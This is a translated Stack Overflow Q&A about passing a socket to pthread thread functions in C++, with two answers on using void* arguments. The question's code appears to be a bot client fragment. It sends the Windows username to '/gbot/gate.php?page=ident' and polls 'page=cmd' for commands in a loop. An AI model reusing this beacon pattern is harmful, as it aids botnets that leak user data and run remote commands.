首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >c++多线程错误和套接字

c++多线程错误和套接字
EN

Stack Overflow用户
提问于 2013-04-10 16:41:11
回答 2查看 131关注 0票数 0
代码语言:javascript
运行
复制
    void* sendFirstReq(SOCKET Socket){
        char buffer[10000];
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "\r\n\r\n";
        }
        else
            mybuf += "linux\r\n\r\n";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
}

void* sendSecReq(SOCKET Socket){
    char buffer[10000];
    string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
    send(Socket, mybuf.c_str(), mybuf.length(), 0);
    recv(Socket, buffer, 10000, 0);
    cout << buffer;
}

while(true)
    {
        pthread_t t1;
        pthread_t t2;
        pthread_create(&t1, NULL, &sendFirstReq, NULL);
        pthread_create(&t1, NULL, &sendSecReq, NULL);
        _sleep(5000);
    }

这是我项目中的一段代码。我想做多线程,但我会遇到很多错误。首先,void*函数必须得到一个void* arg,所以我可以通过套接字发送套接字吗?另一个错误是:

初始化“`int pthread_create(pthread_t*,pthread_attr_t_* const*,void*)(pthread_attr_t_**)”的参数3

我不知道怎么解决,谢谢你的帮助。

EN

回答 2

Stack Overflow用户

发布于 2013-04-10 17:36:10

当您实现多线程时,请确保在不同的套接字上发送和接收!尽管如此,传递void*参数的最好方法是一个结构,但我相信您可以在void*中发送不同的数据类型,只需确保将其切片即可。

示例:

代码语言:javascript
运行
复制
void* sendFirstReq(void* arg);
SOCKET socket;
pthread_t a;
pthread_create(&a,NULL,sendFirstReq(),(void*)&socket);

在sendFirstReq()中,切片参数(SOCKET*)arg;

参见::Passing parameter to pthread

票数 1
EN

Stack Overflow用户

发布于 2013-04-10 19:18:07

如果您将套接字部分和多线程部分分开,这样您就可以单独处理它们,这将有所帮助。多线程的问题是,您必须使用函数,获取并返回POSIX线程的一个空指针。有两种方法可以让其他事情通过这个过程。第一种方法是分配结构并传递指向pthread_create的指针:

代码语言:javascript
运行
复制
void* thread_function(void* p)
{
    mydata* ps = static_cast<mydata*>(p);
    ...
}

mydata s = ...;
pthread_create(..., thread_function, &s);

这里需要注意的是,s有一个作用域,并且必须确保在线程使用它时它仍然处于活动状态。这可能需要使用new动态分配,这反过来又需要小心,以免导致内存泄漏。另一种用于小整数的方法是将它们直接作为指针传递:

代码语言:javascript
运行
复制
void* thread_function(void* p)
{
    int x = reinterpret_cast<int>(p);
    ...
}

int x = ...;
assert(sizeof x <= sizeof (void*));
pthread_create(..., thread_function, reinterpret_cast<void*>(x));

因为套接字只是一个不大于指针的整数,所以您应该能够这样做,这可能是最简单的工作方式。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/15931663

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档